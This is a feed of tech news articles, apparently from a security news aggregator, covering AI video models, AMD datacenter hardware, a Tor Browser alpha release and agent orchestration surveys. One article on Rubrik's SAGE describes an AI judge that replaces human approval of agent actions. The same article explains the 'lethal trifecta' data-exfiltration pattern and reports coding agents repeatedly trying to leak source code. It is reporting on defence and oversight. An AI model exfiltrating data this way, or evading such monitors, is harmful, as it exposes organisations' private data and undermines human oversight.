FLUX-mimic is designed for general-purpose robotic manipulation: helping robots understand a visual scene, predict the consequences of an action, and adapt to new tasks with far less task-specific data.

BFL and Mimic Robotics say that depending on task difficulty, the model can be finetuned for a specific manipulation task with as little as 30 minutes of robot data, where prior approaches have required 30 or more hours.

"The hardest part of robotics is data," said Elvis Nava, CTO of Mimic Robotics, in a statement provided to VentureBeat. "Every new task normally means hours of a robot repeating itself. Because FLUX-mimic is built on top of frontier video models that already understand how the physical world behaves, it picks up a new task in minutes, not days. This way, we can leapfrog the current state of the art in robot learning."

BFL argues that a model trained only on images cannot understand a world that "moves, sounds, changes, and responds," and that physical understanding is what produces convincing generated footage. Google makes a nearly identical claim for Gemini Omni.

Its developer documentation cites "world knowledge" that combines "an understanding of physics" with Gemini's grasp of history, science and cultural context. Its marketing is blunter still: "Most AI models just predict the next pixel to build a narrative or an image. Gemini Omni is different," the company posted in June, crediting the model with "an intuitive understanding of forces like gravity, kinetic energy, and fluid dynamics for more realistic movements that follow real-world logic."

The practical consequence for enterprise buyers is that world-model language is not a differentiator. Two of the three leading video systems now market physical understanding as their central advantage, and neither has published a benchmark that measures it.

There is no standard test for whether generated water behaves like water, whether a dropped object falls at a plausible rate, or whether a sound arrives when the impact does. Human preference ratings capture some of it indirectly. Nothing else on offer captures it at all.

Open weights helped make FLUX an industry standard

BFL officially launched in summer 2024 and gained a name for itself in the AI industry in the intervening two years for its commitment to open sourcing high-quality AI image models beloved by developers, creatives, and enterprises.

The company's founders, including Rombach, Andreas Blattmann and Patrick Esser, previously helped create VQGAN, latent diffusion and Stable Diffusion, the latter the open source technology that kicked off broad AI generation capabilities for the masses and currently used by many AI image generators and companies.

That reach translated into commercial distribution. FLUX models now power generative features inside Adobe Photoshop, Picsart and Nous Research's Hermes Agent, among other platforms, and the company cites film director Martin Scorsese among professional users.

Wired magazine described Black Forest Labs as a relatively small company that nevertheless became a leading competitor to Silicon Valley's largest AI labs, with FLUX models ranking near the top of image benchmarks and becoming some of the most downloaded text-to-image models on AI code sharing community Hugging Face. The company says it now runs a 100-person team across Freiburg and San Francisco.

FLUX.1 Dev, FLUX.1 Kontext Dev, FLUX.1 Fill Dev and related control models, released shortly after the firm's launch, gave researchers and creative-tool developers access to downloadable checkpoints, local inference and integrations with frameworks including Hugging Face Diffusers and ComfyUI. FLUX.1 Kontext Dev, for example, was released as an open-weight model for research and noncommercial use, with generated outputs permitted for commercial purposes under the applicable license.

The company continued that pattern with FLUX.2 Dev in late 2025, a 32-billion-parameter open-weight model combining generation and multi-reference editing. Black Forest Labs called it the strongest open-weight image generation and editing model available at launch and released weights, reference inference code and optimized implementations for consumer Nvidia GPUs.

FLUX 3 Dev raises the stakes on that evaluation. Previous Dev releases were image models. This one is described as a multimodal backbone spanning video, audio, image and action prediction — meaning a single license will govern whether a company can locally deploy a model that touches both content production and physical machinery. BFL hasn't yet shared information about its license, the parameter count, quantizations or hardware requirements.

The company frames open weights as an enterprise feature rather than a community gesture, arguing they enable secure, low-latency local deployment for applications like robotic control systems and let teams adapt FLUX 3 to their own data, products and workflows.

The financial backing behind FLUX 3 is worth noting alongside the technical claims. Black Forest Labs is valued at $3.25 billion and has raised more than $450 million from investors including a16z, AMP, Salesforce Ventures, Nvidia, General Catalyst, Adobe Ventures, Figma Ventures, Canva and Deutsche Telekom's T.Capital.

]]> <![CDATA[AMD raises the AI stakes with Helios, Venice and robotics]]> https://tsecurity.de/de/3690010/it-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/ https://tsecurity.de/de/3690010/it-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/ Thu, 23 Jul 2026 20:48:09 +0200 📰 IT Nachrichten tsecurity.de

AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scale platform that ties it all together.

AMD has been working towards rack-scale AI system solutions for years. Its ZT Systems acquisition last year added valuable engineering talent and intellectual property that is now finally bearing the real fruits. Its Helios AI platform is a major platform evolution for AMD, with shipments scheduled to begin in the second half of this year (which is here and now).

The announcements at Advancing AI show how the company has engineered its AI platform solutions for large reasoning models, sustained inference and agentic workflows. These workloads pressure memory capacity, data movement, networking and CPU orchestration. AMD’s approach is to keep as much data close to the compute engines as possible and move it more efficiently throughout the system, but there’s deeper nuance here that’s obvious versus AMD’s chief rival, NVIDIA.  

AMD’s MI455X targets the AI memory wall

The Instinct MI455X GPU is the compute engine that fuels the Helios rack, and the first GPU based on AMD’s new CDNA 5 architecture. Built with a modular mix of 2nm and 3nm chiplets, it carries 432GB of HBM4 and 23.3TB/s of peak memory bandwidth.

Compared to AMD’s current MI355X, the MI455X offers 1.5 times the memory capacity, up to 2.9 times the peak memory bandwidth and up to four times the peak matrix performance with MXFP4 and MXFP8 data types, which are lower-precision numerical formats designed to accelerate AI processing while reducing memory demands. With MXFP6 (6-bit floating point), performance is rated at up to twice that of MI355X.

AMD also shared some actual, measured internal results using production silicon. The company claims MI455X delivers 3.8 times higher FP8 decode performance, 3.5 times more measured FP4 compute performance and between 2.5 and 3.5 times more networking bandwidth than MI355X, depending on the transfer path tested. Those figures provide more context than just numerical specifications, though they remain AMD-provided comparisons that will need independent validation.

AMD Instinct chart showing generational leap in performance

AMD

The architectural choices behind the numbers are important. Reasoning models and long context windows require sizeable KV caches for maintaining AI attention states, while mixture-of-experts models frequently move large amounts of data across accelerators. MI455X should let more model data, activation states and cache remain local. New dedicated IP in hardware can transfer data while the GPU continues processing, and expanded cache and multicast capabilities are designed to reduce redundant data movement to further improve efficiency.

The aforementioned lower-precision formats can also raise throughput and reduce memory use, but model developers still have to determine where they can be applied without unacceptable accuracy loss.

AMD’s Helios rack takes aim at Vera Rubin

AMD Helios rack

Dave Altavilla

Helios is AMD’s primary rack-scale competitor to NVIDIA’s Vera Rubin platform. Each liquid-cooled rack combines 72 MI455X GPUs, 18 single-socket Venice host CPUs and Pensando networking technologies.

In its most complete, premium configuration, AMD rates Helios for 2.9 exaflops of low-precision AI compute, with 31TB of aggregate HBM4 capacity, 1.7PB/s of memory bandwidth, 260TB/s of bidirectional scale-up bandwidth and 43TB/s of scale-out bandwidth.

These are formidable figures, but they are technical specifications rather than actual application benchmarks. The more consequential development is AMD’s move from collections of eight-GPU servers to a 72-GPU shared-memory domain. Models too large for one node can operate across the rack without treating every exchange as a scale-out networking transaction, which benefits large-model inference as well as training.

AMD uses UALink over Ethernet, or UALoE, for an open standard scale-up fabric. Each MI455X provides 3.6TB/s of bidirectional scale-up bandwidth, while the complete rack delivers all-to-all connectivity through a single switch layer. AMD also claims six times more scale-out bandwidth per GPU than MI355X when MI455X is configured with three Pensando Vulcano 800 AI NICs.

While open standards give cloud providers more control over suppliers and system design, AMD and its partners now have to prove those components can deliver the predictable performance, reliability and deployment experience customers expect from a tightly controlled, more vertically integrated platform.

Finally, AMD designed Helios with automatic rerouting around failed links, virtual rack partitions, tray-level serviceability and rack-wide power, cooling and health monitoring. Major hyperscalers and potentially large-scale enterprise customers will likely key in on these capabilities, which can affect the availability, total cost and consistency of the AI services they consume.

Kind of like cowbell, AMD Venice gives agentic AI more CPU

Chart showing AMD EPYC CPU performance

AMD

AMD’s agentic CPU messaging regarding its upcoming Venice-based EPYC processors is mostly marketing speak, but the underlying requirement is very real. An AI agent can invoke retrieval, databases, security checks, code execution and other tools before a GPU generates a response. Running many agents concurrently increases the amount of conventional compute requirements surrounding the accelerators.

Venice scales to 256 Zen 6 cores with support for 512 threads, 16 memory channels, up to 1GB of L3 cache per socket, along with PCIe 6.0 and CXL 3.1 connectivity. AMD is also offering several Venice configurations for other applications, including general-purpose servers, high-frequency workloads, GPU hosts and high-density CPU sandbox systems used to execute agent tools.

Treating the CPU solely as a GPU host understates its role. Gateways, tokenization, vector search, databases and short-lived code execution stress different mixes of per-core performance, thread count, memory bandwidth and I/O. Specifically, AMD’s internal testing shows Venice significantly outperforming its current EPYC 9965 Turin CPU across five parts of the agentic AI pipeline, including gateway processing, context assembly, vector search, enterprise applications and short-lived tool execution. Individual gains vary by workload, but AMD details the overall generational improvement at up to a 1.7 times lift. As with the MI455X figures though, these comparisons come from AMD and will require independent validation.

Pensando networking and ROCm software advance

Keeping GPUs fed with data and coordinating traffic across racks directly affects utilization and operating costs. In fact, GPU utilization is a pretty sad state of affairs currently for some of the major frontier model providers.

As such, Pensando networking has become central to AMD’s roadmap. Helios can connect each MI455X to as many as three 800Gbps Vulcano AI NICs, while Salina DPUs handle front-end networking and infrastructure services.

On the software side, which is an equally critical component, AMD also introduced ROCm.AI, an AI-assisted development layer due to arrive in August. It includes reusable skills for coding agents, simplified management and Hyperloom, which can profile workloads, tune serving configurations, modify kernels and validate results.

These tools address two persistent AMD challenges: developer efficiency and ease of use, and software tuning. Automated optimization still has to produce repeatable gains without creating hard-to-maintain code, however. And while ROCm has progressed significantly over the last few years, NVIDIA’s CUDA retains an advantage in maturity, tooling and developer familiarity.

Customer commitments underscore rack-scale confidence

AMD now has commitments that give its MI450 generation and Helios considerably more weight. Meta and OpenAI have announced multi-generation agreements composed of up to 6GW of AMD compute capacity, with initial 1GW deployments planned for the second half of 2026.

Oracle plans a 50,000-GPU public cloud cluster beginning in the third quarter, while Microsoft will deploy Helios for Azure AI inference. Finally, just before the AMD event, Anthropic announced a strategic partnership for up to 2 Gigawatts of AMD-fueled AI compute, with its first gigawatt expected online in the first half of 2027.

Commitments of this scale reflect confidence in more than just MI455X performance. These customers are evaluating the complete architecture, including Venice CPUs, Pensando networking, ROCm software, rack integration, serviceability and AMD’s ability to deliver and execute across multiple product generations.

There is some financial alignment behind the agreements as well. AMD issued OpenAI performance-based warrants and committed to investing up to $5 billion in Anthropic. That context matters when evaluating these deals as market validation, but these planned deployments are substantial nonetheless and put Helios on a much stronger foundation as it begins shipping.

AMD expands its robotics and embedded foundation

AMD also expanded its physical AI portfolio, building on credible traction from its Xilinx-derived Kria adaptive system-on-modules and embedded technologies that are already powering robotics, machine vision and industrial automation applications.

The new Ryzen AI Embedded X100 combines up to 16 Zen 5 CPU cores, integrated Radeon graphics, a second-generation NPU and as much as 128GB of unified LPDDR5X memory shared across its compute engines. To me this looks a lot like a repackaging and optimization of the company’s Strix Halo platform, but with specific optimizations for the embedded space. Regardless, AMD is pairing X100 with the Kria AI Robotics Developer Platform, which includes a System Module or SOM, and a new Robotics Partner Network spanning hardware, software and platform providers.

Samples began shipping in June, with full production expected in the fourth quarter. This broader objective is to give developers a path across AMD x86 CPUs, GPUs, NPUs and FPGAs for real-time autonomous systems, rather than requiring them to assemble those hardware engines and software components independently.

Execution for AMD is now the test

AMD has assembled a credible platform for the burgeoning agentic AI market that’s blowing up currently with no signs of stopping. MI455X addresses memory and data movement, Venice handles dense agentic CPU workloads, Pensando networking connects global system resources, and ROCm.AI addresses software complexity. Finally, Helios assembles these components into a true competitive threat for NVIDIA’s latest Vera Rubin platform.

AMD’s open architecture may appeal to customers seeking supplier choice, but openness must also translate into reliable deployments, competitive total cost and software that does not require a significant rip-up. NVIDIA enters this cycle with a stronger ecosystem and far more rack-scale deployment experience. The true test will be how easily and reliably customers can integrate, operate and maintain these AMD solutions at scale.

As it stands, AMD now has major customers and a clearly defined architecture with systems engineering expertise behind it. Delivering Helios on schedule and showing that its performance claims translate into a real production workload throughput advantage and total cost of ownership gains will determine how much the competitive gap narrows. And of course, this is in a market that is clamoring for ever-more compute resources with a seemingly insatiable demand for AI services and capacity. That’s an environment for big iron success. Now AMD just has to deliver optimized, turnkey AI platforms. This is far easier said than done, but time will soon tell as deployments take shape this year.

This article is published as part of the Foundry Expert Contributor Network.
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]]> <![CDATA[New Alpha Release: Tor Browser 16.0a9]]> https://tsecurity.de/de/3689969/it-security-tools/new-alpha-release-tor-browser-160a9/ https://tsecurity.de/de/3689969/it-security-tools/new-alpha-release-tor-browser-160a9/ Thu, 23 Jul 2026 20:25:02 +0200 đŸ’Ÿ IT Security Tools tsecurity.de

Tor Browser 16.0a9 is now available from the Tor Browser download page and also from our distribution directory.

This version includes important security updates to Firefox.

⚠ Reminder: The Tor Browser Alpha release-channel is for testing only. As such, Tor Browser Alpha is not intended for general use because it is more likely to include bugs affecting usability, security, and privacy.

Moreover, Tor Browser Alphas are now based on Firefox's betas. Please read more about this important change in the Future of Tor Browser Alpha blog post.

If you are an at-risk user, require strong anonymity, or just want a reliably-working browser, please stick with the stable release channel.

It's ESR transition season again!

Well actually, it has been ESR transition season throughout this entire release cycle! As described in the aforementioned Future of Tor Browser Alpha blog post, we have been incrementally rebasing our Alpha channel on Firefox betas since December of last year. As a result, we now stand before you with Tor Browser 16.0a9 which is based on Firefox ESR 153.

We will continue rebasing Tor Browser 17.0 Alpha branches on Firefox betas throughout the remainder of the Tor Browser 16.0 release cycle. However, new feature-work for now must be put on hold for a few reasons:

  • We must focus our attention on resolving our Bugzilla Audit issues to ensure the features we have inherited from upstream comply Tor Browser's threat model and to patch any changes which do not.
  • Feature work targeting 16.0 stable would need to be cherry-pick'd onto our 17.0 Alpha branches to ensure we don't lose any work. The more invasive a feature patch is, the harder it will be to port to newer versions. This would also be a potentially error-prone process and there is some risk we would lose patches along the way.
  • We need to finish stabilizing as soon as possible as we have hard external deadlines which cannot be moved: the end-of-life of Firefox ESR 140 on October 13th and the Google Play Minimum Target API Level requirement on November 1st

Challenges and Triumphs

💍 Sharing the Load

Rebasing the hundreds of Tor Browser patches onto newer versions of Firefox is a challenging task. It is like maintaining the structural stability of sand-castle at high-tide with the waves crashing all around you.

As such, it quickly become clear early in this new process that we would need to do something if we wanted to avoid burning out the few developers typically involved in this work. To mitigate this, we shared the knowledge internally and spread the work out across all eight members of the team. This way, each developer was only responsible for at most two or three rebases throughout the entire release cycle.

🎹 UI Code Churn

Over the past year, Firefox has developed and integrated two major changes to the UI in Firefox: a redesign of about:preferences in Firefox Desktop and a migration from Material 2 to Material 3 in Firefox Android.

Adapting to these types of changes to the frontend are typically rather time-consuming for us, as many (if not the majority) of our patches modify Firefox's UI in some way. For example, we have an entire preferences page on Tor Browser desktop dedicated to configuring how the browser connects to the Tor Network. On Android, we similarly have various additions to the menus, configuration options, and custom UI.

Whenever Mozilla modifies their design systems and Firefox's user interface, we necessarily have to adapt our own custom additions to match. Otherwise, our Tor Browser-specific UI elements would look completely out of place and potentially confuse users (as well as simply looking unprofessional). Therefore, each of these upstream changes requires collaboration with the Tor Project's UX team to update our features' designs and of course development time to implement.

In addition to the time-cost associated with the extra engineering and UX collaboration, very often our old patches simply do not apply cleanly due to the amount of code which has changed. For example, the about:preferences changes on Firefox Desktop are essentially a complete re-write which means we also have to completely re-write our own settings changes without regressing in functionality.

On the plus side, one benefit of our new processes is that we have been able to spread out this work over the entire release cycle. In the past way of doing things, we would have discovered all UX elements which needed to be fixed, updated our designs, and re-implemented in the course of a few months during the old ESR transition season. Under this new way of working, we have been able to incrementally fix things throughout the development cycle.

The benefits of working this way does not just apply to UX of course. It is much easier to find regressions across the entire stack when rebasing between one major Firefox version at a time instead of across 12 or 13. It is also much easier for developers to fix individual regressions one at a time compared to diagnosing, disentangling, and fixing multiple bugs concurrently (divide et impera!).

⚙ Pending Google Target API Level Requirements

Every year, Google requires new Android app releases to target an updated minimum API level. This means, we would not be able to upload new versions of Tor Browser Stable past a certain date (usually August 1st with an extension to November 1st typically possible) without first updating the app to support the new minimum target API level. Fortunately, we inherit most of the required changes from Mozilla when rebasing to the next major ESR.

However, this requirement does impose a hard deadline for the absolute latest we can responsibly stabilize Tor Browser Alpha and promote it to Stable. We've been fortunate in the past few years to make the deadline with a few days to spare (October 28th for Tor Browser 15, October 22nd for Tor Browser 14, etc). Given how far ahead of the curve we are this year, we are hoping to release about a month earlier in September (fingers crossed!).

đŸ€– Android APKs too big

The Google Play Store has a strict size limit of about 100 megabytes for Android applications. New functionality added to Firefox Android over the past year means a larger application which results in new headaches for Tor Browser developers. This release cycle was no exception to this rule and we have had to get creative with our size reductions.

In the past, we have been able reduce our package size though various methods including:

Our most recent effort has been the most invasive yet! For some background, the Firefox application consists of (among other things): various shared libraries, the Firefox executable, a library known as 'xul' which contains most of Firefox's natively compiled functionality, and finally a file known as omni.ja. This omni.ja file is a zip archive which contains the JavaScript, HTML, images, and other assets used in Firefox.

This time around, to reduce the size of our Android package we havechanged how this archive is compressed. We modified the Firefox build system to compress this archive with xz and we modified Firefox itself to decompress this archive at runtime. This work did require a few iterations to get right. In the end, we got back about 3 megabytes with these changes and got us once again under Google's imposed size budget.

📉 Even Less Telemetry

Over the years, we have worked to incrementally remove dependencies from Tor Browser Android as part of the aforementioned size reduction work. We of course inherit most of these dependencies from Firefox Android and unfortunately some of them can be labeled as 'trackers'. While we do disable telemetry by default at runtime, the code which implements it remains in the codebase.

We're happy to report that as of Tor Browser 16.0a8, are down to only 1 'tracker' library in the Tor Browser Android codebase: Mozilla Telemetry. Again, this telemetry is disabled at runtime, but this is one more unused dependency which we can hopefully remove in the future (and maybe get some more bytes back!).

Current Status

We have:

  • incrementally rebased Tor Browser and Tor Browser for Android to Firefox ESR 153 from Firefox ESR 140
  • updated the build systems with the latest dependencies and fixed a few reproducibility issues
  • triaged most of the upstream changes from the past year and flagged over 250 issues for further review (triaging of Firefox 153 is in progress)
  • resolved about half of these triaged issues

For the remainder of this release cycle, we will be focusing on auditing these issues and fixing bugs until the 16.0 alpha series is ready to become Tor Browser Stable 16.0. We are optimistically targeting a September release, which would put us one month ahead of schedule compared to last year.

Known Issues

🩊 Firefox Branding

In some places in the browser there may be Firefox branding (e.g. logos, cute little foxes, etc) instead of Tor Browser branding. We're currently tracking one known instance in tor-browser#44998. If you discover any other instances lurking about, please open an issue!

🌐 All websites marked 'insecure' on Tor Browser Android

Currently, the identity block in the URL bar on Tor Browser Android will always report insecure (e.g. a shield icon with a slash through it). For now, you can tap this icon and verify the certificate manually. This issue is being tracked in tor-browser#45115

Send us your feedback

Now is a great time to become an alpha tester! If you find a bug or have a suggestion for how we could improve this release, please let us know.

Full changelog

The full changelog since Tor Browser 16.0a8 is:

]]> <![CDATA[In a First, Apple Maps Navigation To Be Embedded In Ford UEV Pickups]]> https://tsecurity.de/de/3689930/it-security-nachrichten/in-a-first-apple-maps-navigation-to-be-embedded-in-ford-uev-pickups/ https://tsecurity.de/de/3689930/it-security-nachrichten/in-a-first-apple-maps-navigation-to-be-embedded-in-ford-uev-pickups/ Thu, 23 Jul 2026 20:13:19 +0200 📰 IT Security Nachrichten tsecurity.de

Read more of this story at Slashdot.

]]> <![CDATA[An AI now judges every move Rubrik's agents make, its AI chief said at VB Transform 2026 — but no one's measured if the judge is right]]> https://tsecurity.de/de/3689833/it-nachrichten/an-ai-now-judges-every-move-rubriks-agents-make-its-ai-chief-said-at-vb-transform-2026-but-no-ones-measured-if-the-judge-is-right/ https://tsecurity.de/de/3689833/it-nachrichten/an-ai-now-judges-every-move-rubriks-agents-make-its-ai-chief-said-at-vb-transform-2026-but-no-ones-measured-if-the-judge-is-right/ Thu, 23 Jul 2026 19:19:49 +0200 📰 IT Nachrichten tsecurity.de At a CISO roundtable organized by Anthropic's chief information security officer, Dev Rishi asked a simple question: Did everyone in the room have their AI governance and security policies written down? Every hand went up — about 14 people, by his count. His follow-up, about how anyone actually enforces those policies in practice, got a different response. "And everybody chuckled," Rishi, the GM of AI at Rubrik, recalled at VB Transform 2026 fireside chat in Menlo Park. "It was like the dirty secret in the room that everyone has these policies, but no way to actually make them real."

“Our founder and CTO has actually been really pushing to enable our agents in YOLO mode,” Rishi told the audience. That admission comes from a publicly traded data security firm whose business is backing up what he called the most important data in the world.

YOLO mode strips the permission prompt out of agent workflows and lets the agent act on its own. In Rubrik's version, a second AI judges every action in real time against policy in place of a human clicking approve. Rubrik is running the experiment on itself first. Rishi treats autonomy as a settled capability question and an open judgment question. "If you ask the agent to act autonomously, it will," he said. "It's a question that you have internally. Should it?"

Rubrik earned that question the hard way. When Claude Code and Cowork pilots rolled out, the company required every command to run in ask mode so the employee issuing it carried the liability, and the developer pushback filled a single Slack thread 120 messages deep.

"The developers basically are pushing back, and they're like, this is like the iTunes service agreement. I'm just hitting check, check, check, check, check, check, check," Rishi said. "There's no way that I can actually read through this. And it becomes security theater." Roughly 80% of respondents are in the same bind, Rishi said, citing Rubrik Zero Labs research that found monitoring and approving agent actions takes more time than the agents save. The State of the Agent, the April report behind that figure, surveyed more than 1,600 IT and security leaders.

SAGE is the reason Rubrik trusts the bet. Short for Semantic AI Governance Engine, SAGE is the arbitration layer inside Rubrik Agent Cloud that watches every action an agent takes and reads the semantic intent behind it, then rules the action in or out against policies written in natural language. "We took what people said was human in the loop, a good idea, and we replaced it with AI in the loop," Rishi said, describing the pitch to security chiefs he characterized as skittish about non-deterministic systems.

Security approval, not cost, blocks AI ROI

Rishi’s path to Rubrik ran through Predibase, the generative AI infrastructure startup he co-founded and ran as CEO until Rubrik agreed to acquire it in June 2025. Before that, he led ML product at Google on the team that became Vertex AI, served as Kaggle's first product manager as it grew from about one million to ten million users, and holds bachelor's and master's degrees in computer science from Harvard.

Over roughly his first three and a half months at Rubrik, Rishi set up 200 customer conversations with IT and security leaders across a customer base that looks like the Global 2000, asking open-ended questions about cost, latency, performance, and orchestration. "Pretty consistently, what I heard through all of those conversations was that all of those are pretty secondary," he said. "The main challenge is actually, how do I get this approved from a security and risk standpoint? I'm concerned about all the different things that could go wrong. Actually, I felt like that was one of the biggest things constraining ROI."

VentureBeat Pulse research presented on the Transform stage earlier in the day confirms the gap Rishi kept hearing. Two-thirds of enterprises, 66%, already allow or are actively building toward production deployment with zero human review, yet only 5% fully trust the automated evaluations that would make that decision.

One AI reading what the rulebook can't

Rubrik's own policies exposed why written rules fail as enforcement. One internal rule states that agents should respect Rubrik's customer data use policy, which sounds enforceable until someone tries. "Rubrik's customer data use policy is like a three-page document of legal text," Rishi said. "I have no idea how to write that in there as a rule." Asked on stage how a team of AI infrastructure people took on a problem that security engineers own, Rishi answered, "with a lot of naivety and innocence, honestly." His team bet that models good at understanding language could police other models, and SAGE became the answer.

The case for putting a model in the judgment seat comes down to precision. A rule like "agents should not be able to edit revenue fields in Salesforce" fails in conventional tooling because Salesforce does not delineate which fields count as revenue, Rishi explained, so administrators fall back on approving every Salesforce action by hand. SAGE reads the intent instead and acts as a judge, carrying organizational context, which can tell a benign lookup from the edit the policy prohibits.

Keeping the judge small is what makes the economics work. SAGE runs on a small language model that Rishi said operates at an order of magnitude lower cost and latency than a frontier LLM. "If I told you, don't worry, you're gonna be secure and governed, but I'm gonna double your cost and latency, you would tell me to get out of the room," Rishi said.

When Rishi asked who in the audience had worried about token consumption over the past year, half the hands went up. "And I guess the other half is probably just too lazy to raise their hand," he said.

SAGE is an aggregation of judges based on parameter-efficient fine-tuning that Rubrik uses to take on task-specific variants of a base model with shared organizational context. One judge watches for tool-use hallucinations while another suppresses PII before it can leave, each running as its own enforceable policy. Security and GRC teams have started writing financial rules into the same layer, including one internal policy barring AI spend on personal projects.

The lethal trifecta

Asked which attacks worry him most, Rishi pointed at the lethal trifecta, the term security researcher Simon Willison coined in June 2025 for an agent that holds private data while taking in content nobody vetted, with a channel to send what it finds to the outside world. The danger, according to Rishi, is what happens when individually legitimate permissions stack. An agent granted Salesforce access and email access on an employee's credentials has done nothing wrong yet, with yet being the operative word. "A very simple example is that an agent can start pulling data from Salesforce and then decide to accidentally leak and exfiltrate that out via an email," he told the audience. A financial services company he met the morning of the session made the point for him, telling Rishi that none of the individual permissions are bad on their own and the agent needs every one of them to do its job. "It should have permission to each of those systems, but it's the combination that ends up becoming really destructive," Rishi said.

Traditional identity and access management never priced in that combination because it relied on the judgment of the employee holding the credentials, Rishi argued, and agents supply none. "I can tell you the number of times Claude Code has tried to leak some of our sensitive source code to a public GitHub repository is incredibly high," he said. Cutting agents off from public resources entirely would defeat their purpose, which returns the problem to adjudicating intent in context rather than revoking access.

A separate VentureBeat June Pulse survey of 107 qualified enterprise respondents maps the blast radius of exactly this pattern. On the Transform stage that morning, VentureBeat research reported that 69% of companies run credential sharing somewhere in their agent fleet. Companies with shared credentials anywhere got hit more often, reporting a security incident or near-miss at a 63.5% rate (47 of 74), against 40.9% (9 of 22) where every agent carries its own scoped identity.

The attacks no single turn reveals

Rubrik Agent Cloud reached general availability in February, though not everything Rishi described ships in it yet. Backtesting is just starting to roll out. The feature replays an organization's historical agent actions and tool calls against a new policy, showing where the policy would have stepped in and where an action would have sailed through uncaught, with policy edits applied in real time. Rishi called that archive one of the most valuable data troves an enterprise holds.

Real-time detection and blocking turn out to be the entry point rather than the whole product. Some attacks never trip a single-action rule. "No individual turn of the conversation was problematic, but if you took the session as a full trace, that ended up being problematic," Rishi said. Agent Cloud runs batch analysis across entire session traces every hour or every day and surfaces what Rubrik calls insights, the problems no individual guardrail caught. The same Zero Labs report found that 88% say they lack the ability to roll back agent actions without system disruption, a recovery gap that sits squarely in Rubrik's original line of business.

A skeptical CISO will ask the question the fireside did not answer. SAGE is a non-deterministic model policing other non-deterministic models, and Rishi offered no false positive or false negative rate for the judge itself. The closest thing the architecture gives to an answer is auditability, since backtesting and the batch insights both leave a human-reviewable trail of each call SAGE made and whatever got past it. Who watches the watcher, for now, is a trail of receipts rather than a benchmark. Until that benchmark exists, AI in the loop stays an operational wager rather than a quantified control.

Three questions fall out of the session for security teams. How many of the guardrails now in production depend on a human clicking approve, and what happens to that workload as agent count grows? Does anything in the stack enforce semantic intent, or is it all allow and deny lists? And can the team backtest agent behavior against a new policy, then unwind a multi-turn session without taking systems down?

Rishi's timing has a market behind it. In the same VentureBeat research, 82% of enterprises still name their primary AI provider's built-in guardrails and cloud controls as their main agent security layer, and 59% plan to adopt, add, or replace agent security tooling within the next 12 months. Only 12% include an agent-identity product in what they are considering, even with credential sharing still the norm. Every CISO at that Anthropic roundtable had a policy document and no enforcement mechanism, and Rubrik built a product for the space between the two. YOLO mode is the bet that an AI watching other AIs can finally make the policies real.

]]> <![CDATA[Agentic orchestration: Enterprise AI organizations have a deployment problem, not a platform problem — and most are calling chatbots agents]]> https://tsecurity.de/de/3689830/it-nachrichten/agentic-orchestration-enterprise-ai-organizations-have-a-deployment-problem-not-a-platform-problem-and-most-are-calling-chatbots-agents/ https://tsecurity.de/de/3689830/it-nachrichten/agentic-orchestration-enterprise-ai-organizations-have-a-deployment-problem-not-a-platform-problem-and-most-are-calling-chatbots-agents/ Thu, 23 Jul 2026 19:19:45 +0200 📰 IT Nachrichten tsecurity.de Across 101 enterprises, agent orchestration is consolidating onto model-provider platforms — Anthropic’s Claude leads by a wide margin — chosen for the gravity of the underlying model and judged on reliable multi-step execution. But the ambition runs well ahead of the reality: most deployed “agents” are still chatbot wrappers, the control plane enterprises expect is deliberately hybrid to avoid lock-in, and real-time fiscal control over token burn remains the exception.

This wave of VentureBeat Pulse Research examines enterprise agent orchestration: which platforms enterprises run on, what drives the choice, what they optimize for, how they expect agent control to be structured, and — most revealingly — how orchestrated their deployed “agents” actually are and how tightly they control the cost of running them.

The central finding is a gap between orchestration ambition and orchestration reality. Enterprises are consolidating fast onto the major model platforms: Anthropic’s Claude is the primary platform for 40%, more than double any rival, followed by Microsoft (18%) and OpenAI (13%). The choice is driven by “model gravity” — native alignment with a state-of-the-art base model (21%) — and success is judged by reliable, multi-step execution (task completion reliability 32%, multi-step workflow management 28%). Yet asked to assess their portfolios honestly, 71% say a quarter or fewer of their deployed “agents” are true multi-step orchestrated workflows rather than single-prompt chatbot wrappers, and only 10% have crossed the halfway mark. The orchestration layer is being built well ahead of the orchestrated portfolio it is meant to run.

That gap shapes the architecture enterprises are putting in place. By the end of 2026 a clear majority (51%) expect a hybrid control plane — provider-native plus external orchestration — and only 6% expect to hand control to a provider-managed service, because vendor lock-in (35%) is the risk they fear most if control lives inside a model provider. Investment follows the build-out: agent workflow tooling leads the spend (34%), with security and permissions enforcement (25%) behind. And fiscal control lags throughout — more than a quarter (27%) have no real-time way to stop a runaway agent before the bill arrives.

Methodology

VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent orchestration. Responses are filtered to organizations with 100 or more employees (n=101), drawn from a single June 2026 wave; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends.

By organization size the sample is spread evenly across the enterprise bands: 100–499 employees, 2,500–9,999, and 50,000+ (21% each), with 10,000–49,999 and 500–2,499 (19% each). By role it is senior and buyer-credible: product and program managers (15%), CIO/CTO/CISO (13%), consultants and advisors (13%), and a spread of data, AI, and engineering directors and VPs, with an “Other” function at 18%. On purchasing, 81% are recommenders, influencers, or final decision-makers for AI solutions (66% recommender/influencer, 15% final decision-maker). Technology/Software is the largest industry at 44%, followed by Financial Services (17%) and Healthcare/Life Sciences (8%).

At 101 respondents the sample is robust enough to read directionally with reasonable confidence, though it remains self-selected and is not a probability sample.

Finding 1: Orchestration runs on model-provider platforms

Anthropic’s Claude leads; open frameworks are marginal

We asked which agent orchestration platform enterprises primarily use today. The answer concentrates on the major model providers — and on one in particular.

A note on reading these shares. As described in the methodology section, the respondents are self-selected, and this question asked them for a single primary platform — so the figures measure which platform leads each enterprise's deployment, within a self-selected audience of AI-active technical decision-makers. A sample built this way can diverge substantially from spend-weighted market measures, and each VB Pulse survey draws its own sample with its own company-size mix, so vendor figures should not be compared across our surveys either. Read these shares as a portrait of where this cohort has placed its primary orchestration bet today, rather than as market share.

